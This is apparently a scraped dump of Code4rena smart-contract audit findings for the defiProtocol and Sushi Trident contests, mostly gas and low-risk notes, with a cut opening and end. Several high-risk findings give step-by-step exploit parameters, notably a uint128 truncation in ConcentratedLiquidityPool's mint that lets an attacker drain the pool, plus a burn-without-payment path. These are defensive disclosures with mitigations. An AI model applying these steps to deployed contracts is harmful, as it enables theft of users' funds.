onlyPublisher public override { validateWeights(_tokens, _weights); if (pendingWeights.pending) { require(block.number >= pendingWeights.block + TIMELOCK_DURATION); if (auction.auctionOngoing() == false) { auction.startAuction(); emit PublishedNewIndex(publisher); } else if (auction.hasBonded()) { } else { auction.killAuction(); pendingWeights.tokens = _tokens; pendingWeights.weights = _weights; pendingWeights.block = block.number; } } else { pendingWeights.pending = true; pendingWeights.tokens = _tokens; pendingWeights.weights = _weights; pendingWeights.block = block.number; } } ``` 11. Publisher calls the publishNewIndex again which starts the Auction. This auction is later settled using the settleAuction function in Auction contract 12. Publisher owned address can now call burn and get the amount 10 even though he never made the payment since his balanceOf(msg.sender) = 10 (Step 9) ``` function burn(uint256 amount) public override { require(auction.auctionOngoing() == false); require(amount > 0); require(balanceOf(msg.sender) >= amount); handleFees(); pushUnderlying(amount, msg.sender); _burn(msg.sender, amount); emit Burned(msg.sender, amount); } ``` ## Recommended Mitigation Steps Change validateWeights to check for 0 length token ``` function validateWeights(address[] memory _tokens, uint256[] memory _weights) public override pure { require(_tokens.length>0); ... } ``` "}, {"title": "Require statement can be moved to start of function", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle bw # Vulnerability details ## Impact A [require](https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L74) statement in `Factory.sol` could be performed prior to an expensive cross contract call, reducing the amount of gas wasted if the validation fails. ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L74 ## Tools Used N/A ## Recommended Mitigation Steps Move the require statement before `basketImpl.validateWeights(tokens, weights);` "}, {"title": "Uninitialized Implementation Contracts", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/18", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle bw # Vulnerability details ## Impact The implementation contracts that are used by proxies are not initialized by default, this creates the possibility that the contracts will not be initialized after deployment. Uninitialized implementations could result in Denial of Service exploits. This often involves initializing the contract so that it is possible to `delegatecall` into a contract that has the `selfdestruct` opcode. The contracts in-scope did not contain any `delegatecalls` that could be exploited. However, it is still regarded as best practice to ensure that the contracts cannot be initialized after deployment. ## Proof of Concept As a defence in-depth measure, the implementations should be initialized during deployed by adding the following: ```diff diff --git a/contracts/contracts/Auction.sol b/contracts/contracts/Auction.sol index f07df8b..f7c21eb 100644 --- a/contracts/contracts/Auction.sol +++ b/contracts/contracts/Auction.sol @@ -44,6 +44,10 @@ contract Auction is IAuction { auctionOngoing = false; } + constructor() { + initialized = true; + } + function initialize(address basket_, address factory_) public override { require(!initialized); basket = IBasket(basket_); diff --git a/contracts/contracts/Basket.sol b/contracts/contracts/Basket.sol index 5fef21b..4549365 100644 --- a/contracts/contracts/Basket.sol +++ b/contracts/contracts/Basket.sol @@ -33,6 +33,10 @@ contract Basket is IBasket, ERC20Upgradeable { uint256 public override lastFee; + constructor() { + __ERC20_init(\"\", \"\"); + } + function initialize(IFactory.Proposal memory proposal, IAuction auction_) public override { publisher = proposal.proposer; licenseFee = proposal.licenseFee; ``` * https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Auction.sol#L9 * https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Basket.sol#L12 ## Tools Used N/A ## Recommended Mitigation Steps Initialize implementations during deployment by adding a constructor. "}, {"title": "Events not emitted for parameter changes ", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Events not emitted for parameter changes "}, {"title": "Runtime constants not defined as immutable", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/15", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle bw # Vulnerability details ## Impact The [`Factory.sol`](https://github.com/code-423n4/2021-09-defiProtocol/blob/main/contracts/contracts/Factory.sol#L19) contract made use of a number of `public` variables that were set only in the constructor and would remain constant. These variables were consuming storage slots, which unnecessarily increased the deployment and runtime gas costs of the contract. For more information regarding the `immutable` keyword: https://blog.soliditylang.org/2020/05/13/immutable-keyword/ ## Proof of Concept ### Code Diff ```diff diff --git a/contracts/contracts/Factory.sol b/contracts/contracts/Factory.sol index 271945d..3bbdd4f 100644 --- a/contracts/contracts/Factory.sol +++ b/contracts/contracts/Factory.sol @@ -23,8 +23,8 @@ contract Factory is IFactory, Ownable { Proposal[] private _proposals; - IAuction public override auctionImpl; - IBasket public override basketImpl; + IAuction public immutable override auctionImpl; + IBasket public immutable override basketImpl; uint256 public override minLicenseFee = 1e15; // 1e15 0.1% uint256 public override auctionDecrement = 10000; ``` ### Gas Improvement ```diff diff --git a/base.gas b/factory-immutable.gas index 9d48ade..1447433 100644 --- a/base.gas +++ b/factory-immutable.gas @@ -23,9 +23,9 @@ \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | ERC20Upgradeable \u00b7 approve \u00b7 - \u00b7 - \u00b7 48900 \u00b7 3 \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| Factory \u00b7 createBasket \u00b7 880031 \u00b7 908831 \u00b7 882911 \u00b7 10 \u00b7 - \u2502 +| Factory \u00b7 createBasket \u00b7 875780 \u00b7 904580 \u00b7 878660 \u00b7 10 \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| Factory \u00b7 proposeBasketLicense \u00b7 335488 \u00b7 335512 \u00b7 335505 \u00b7 12 \u00b7 - \u2502 +| Factory \u00b7 proposeBasketLicense \u00b7 333388 \u00b7 333412 \u00b7 333405 \u00b7 12 \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | Factory \u00b7 setOwnerSplit \u00b7 - \u00b7 - \u00b7 46173 \u00b7 1 \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 @@ -39,7 +39,7 @@ \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | Basket \u00b7 - \u00b7 - \u00b7 2390793 \u00b7 8 % \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| Factory \u00b7 - \u00b7 - \u00b7 1706801 \u00b7 5.7 % \u00b7 - \u2502 +| Factory \u00b7 - \u00b7 - \u00b7 1684215 \u00b7 5.6 % \u00b7 - \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | TestToken \u00b7 653145 \u00b7 653193 \u00b7 653163 \u00b7 2.2 % \u00b7 - \u2502 \u00b7---------------------------------------------|-------------|-------------|-----------|---------------|-------------\u00b7 ``` By removing the `public` keyword from all variables that are not required (which are only used in the unit tests), the deployment costs can be further reduced. ## Tools Used https://www.npmjs.com/package/hardhat-gas-reporter ## Recommended Mitigation Steps Add the immutable key word to all variables that are only set during the constructor. "}, {"title": "Some variables type should be changed ", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Some variables type should be changed "}, {"title": "Lack of input validation in initialize function of Basket.sol ", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of input validation in initialize function of Basket.sol "}, {"title": "Gas Saving by changing the visibility of initialize function from public to externa in basket.sol", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-defiprotocol-findings", "body": "# Handle jah # Vulnerability details ## Impact the initialize function will not be called from the contract and it doesn't require public visibility so the visibility should be changed to external to save gas as described in https://mudit.blog/solidity-gas-optimization-tips/: \u201cFor all the public functions, the input parameters are copied to memory automatically, and it costs gas. If your function is only called externally, then you should explicitly mark it as external. External function\u2019s parameters are not copied into memory but are read from calldata directly. This small optimization in your solidity code can save you a lot of gas when the function input parameters are huge.\u201d ## Proof of Concept https://github.com/code-423n4/2021-09-defiProtocol/blob/52b74824c42acbcd64248f68c40128fe3a82caf6/contracts/contracts/Basket.sol#L36 ## Tools Used manual analysis ## Recommended Mitigation Steps change the visibility to external "}, {"title": "initialize function in basket.sol can be front-run", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/3", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-defiprotocol-findings", "body": "initialize function in basket.sol can be front-run"}, {"title": "Lack of input validation in initialize function of Auction.sol", "html_url": "https://github.com/code-423n4/2021-09-defiprotocol-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-09-defiprotocol-findings", "body": "Lack of input validation in initialize function of Auction.sol"}, {"title": "Sanity check on the lower and upper ticks", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle broccoli # Vulnerability details ## Impact In the `burn` and `swap` functions of `ConcentratedLiquidityPool`, the lower tick is not explicitly checked to be less than the upper tick. Besides, the ticks are not checked to be at least the minimum tick and at most the maximum tick. ## Proof of Concept Referenced code: [Ticks.sol#L68-L70](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/libraries/concentratedPool/Ticks.sol#L68-L70) ## Recommended Mitigation Steps Add sanity checks on the lower and upper ticks in critical functions (see the referenced line of code, for example). "}, {"title": "Incorrect comparison in the `_updatePosition` of `ConcentratedLiquidityPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/91", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Incorrect comparison in the `_updatePosition` of `ConcentratedLiquidityPool`"}, {"title": "Timestamp underflow error in `swap` function of `ConcentratedLiquidityPool`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/90", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Timestamp underflow error in `swap` function of `ConcentratedLiquidityPool`"}, {"title": "Users cannot receive rewards from `ConcentratedLiquidityPoolManager` if their liquidity is too large", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/88", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Users cannot receive rewards from `ConcentratedLiquidityPoolManager` if their liquidity is too large"}, {"title": "Wrong usage of `positionId` in `ConcentratedLiquidityPoolManager`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/86", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Wrong usage of `positionId` in `ConcentratedLiquidityPoolManager`"}, {"title": "Overflow in the `mint` function of `ConcentratedLiquidityPool` causes LPs' funds to be stolen", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/84", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "Overflow in the `mint` function of `ConcentratedLiquidityPool` causes LPs' funds to be stolen"}, {"title": "Incorrect usage of typecasting in `_getAmountsForLiquidity` lets an attacker steal funds from the pool", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/83", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle broccoli # Vulnerability details ## Impact The `_getAmountsForLiquidity` function of `ConcentratedLiquidityPool` explicitly converts the result of `DyDxMath.getDy` and `DyDxMath.getDx` from type `uint256` to type `uint128`. The explicit casting without checking whether the integer exceeds the maximum number (i.e., `type(uint128).max`) could cause incorrect results being used. Specifically, an attacker could exploit this bug to mint a large amount of liquidity but only pay a little of `token0` or `token1` to the pool and effectively steal other's funds when burning his liquidity. ## Proof of Concept 1. Suppose that the current price is at the tick `500000`, an attacker calls the `mint` function with the following parameters: ``` mintParams.lower = 100000 mintParams.upper = 500000 mintParams.amount1Desired = (1 << 128) + 71914955423 # a carefully chosen number mintParams.amount0Desired = 0 ``` 2. Since the current price is equal to the upper price, we have ``` _liquidity = mintParams.amount1Desired * (1 << 96) // (priceUpper - priceLower) = 4731732988155153573010127840 ``` 3. The amounts of `token0` and `token1` that the attacker has to pay is ``` amount0Actual = 0 amount1Actual = uint128(DyDxMath.getDy(_liquidity, priceLower, priceUpper, true)) = uint128(_liquidity * (priceUpper - priceLower) // (1 << 96)) # round up = uint128(340282366920938463463374607456141861046) # exceed the max = 24373649590 # truncated ``` 4. The attacker only pays `24373649590` of `token1` to get `4731732988155153573010127840` of the liquidity, which he could burn to get more `token1`. As a result, the attacker is stealing the funds from the pool and could potentially drain it. Referenced code: [ConcentratedLiquidityPool.sol#L480](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPool.sol#L480) [concentratedPool/DyDxMath.sol#L15](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/libraries/concentratedPool/DyDxMath.sol#L15) [concentratedPool/DyDxMath.sol#L30](https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/libraries/concentratedPool/DyDxMath.sol#L30) ## Recommended Mitigation Steps Check whether the result of `DyDxMath.getDy` or `DyDxMath.getDx` exceeds `type(uint128).max` or not. If so, then revert the transaction. Or consider using the [`SafeCast` library](https://docs.openzeppelin.com/contracts/3.x/api/utils#SafeCast) from OpenZeppelin instead. "}, {"title": "`incentiveId <= incentiveCount[pool]` is bad and can be removed", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/79", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact When an user subscribes to an incentive using ConcentratedLiquidityPoolManager's `subscribe`, the function checks that `incentiveId` is appropriate: ```js require(incentiveId <= incentiveCount[pool], \"NOT_INCENTIVE\"); ``` This check is actually incorrect, and it should use a `<` instead of `<=`. If this was the only requirement, it would be possible to subscribe to the next incentive, causing some problems. Fortunately the next line saves the day: `require(block.timestamp > incentive.startTime && block.timestamp < incentive.endTime, \"TIMED_OUT\");` this fails for uninitiated incentives. ## Proof of Concept https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L72 ## Tools Used editor ## Recommended Mitigation Steps Consider removing this requirement to save gas. The check for existing pool is already considered when looking at `block.timestamp < incentive.endTime`. "}, {"title": "`subscribe` can be called by anyone", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/77", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "`subscribe` can be called by anyone"}, {"title": "`addIncentive` may need more inputs checked", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/76", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "`addIncentive` may need more inputs checked"}, {"title": "`addIncentive` and `reclaimIncentive` can be external", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle 0xsanson # Vulnerability details ## Impact Function `addIncentive` and `reclaimIncentive` in ConcentratedLiquidityPoolManager can be `external` instead of `public` to save gas. ## Proof of Concept https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L36 https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L49 ## Tools Used editor "}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "Style issues"}, {"title": "Useless state variable wETH", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract ConcentratedLiquidityPosition has a state variable 'wETH' but it is not being used in any meaningful way. So you can remove it to save some gas. ## Recommended Mitigation Steps Remove useless state variables. "}, {"title": "Unused import", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is an unused import: import \"../../interfaces/ITridentRouter.sol\"; in ConcentratedLiquidityPosition. It will increase the size of deployment with no real benefit. ## Recommended Mitigation Steps Consider removing this unused import to save some gas. "}, {"title": "Boundaries for timestamp values", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/68", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Boundaries for timestamp values"}, {"title": "Handle of deflationary tokens", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Handle of deflationary tokens"}, {"title": "uint32 for timestamps", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "uint32 for timestamps"}, {"title": "Inclusive conditions", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Conditions should be inclusive >= or <= : ```solidity require( baseTokenQty > _baseTokenQtyMin, \"MathLib: INSUFFICIENT_BASE_TOKEN_QTY\" ); require( quoteTokenQty > _quoteTokenQtyMin, \"MathLib: INSUFFICIENT_QUOTE_TOKEN_QTY\" ); require( _baseTokenQtyMin < maxBaseTokenQty, \"MathLib: INSUFFICIENT_DECAY\" ); require( _quoteTokenQtyMin < maxQuoteTokenQty, \"MathLib: INSUFFICIENT_DECAY\" ); ``` Otherwise, these functions will fail when e.g. baseTokenQty = _baseTokenQtyMin when the end-user expects it to pass through. "}, {"title": "_burn should decrement totalSupply", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/60", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "_burn should decrement totalSupply"}, {"title": "Replace hex numbers with .selector", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "Replace hex numbers with .selector"}, {"title": "Struct could be optimized for saving gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details Members of structs should be grouped into bunches of 32 bytes for saving gas. For example: https://github.com/sushiswap/trident/blob/c405f3402a1ed336244053f8186742d2da5975e9/contracts/pool/concentrated/ConcentratedLiquidityPoolManager.sol#L15-L23 `ConcentratedLiquidityPoolManager.sol#Incentive` `rewardsUnclaimed` and `secondsClaimed` can be moved to the bottom to optimize for Variable Packing. "}, {"title": "Cache storage variables in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-2-findings", "body": "# Handle WatchPug # Vulnerability details For the storage variables that will be accessed multiple times, cache them in the stack can save ~100 gas from each extra read (`SLOAD` after Berlin). For example: - `vaultFactory` in `NFTXVaultUpgradeable#_chargeAndDistributeFees()` https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXVaultUpgradeable.sol#L470-L484 ```solidity=470 function _chargeAndDistributeFees(address user, uint256 amount) internal virtual { // Do not charge fees if the zap contract is calling // Added in v1.0.3. Changed to mapping in v1.0.5. if (vaultFactory.excludedFromFees(msg.sender)) { return; } // Mint fees directly to the distributor and distribute. if (amount > 0) { address feeDistributor = vaultFactory.feeDistributor(); // Changed to a _transfer() in v1.0.3. _transfer(user, feeDistributor, amount); INFTXFeeDistributor(feeDistributor).distribute(vaultId); } } ``` "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-2-findings/issues/55", "labels": ["bug", "G 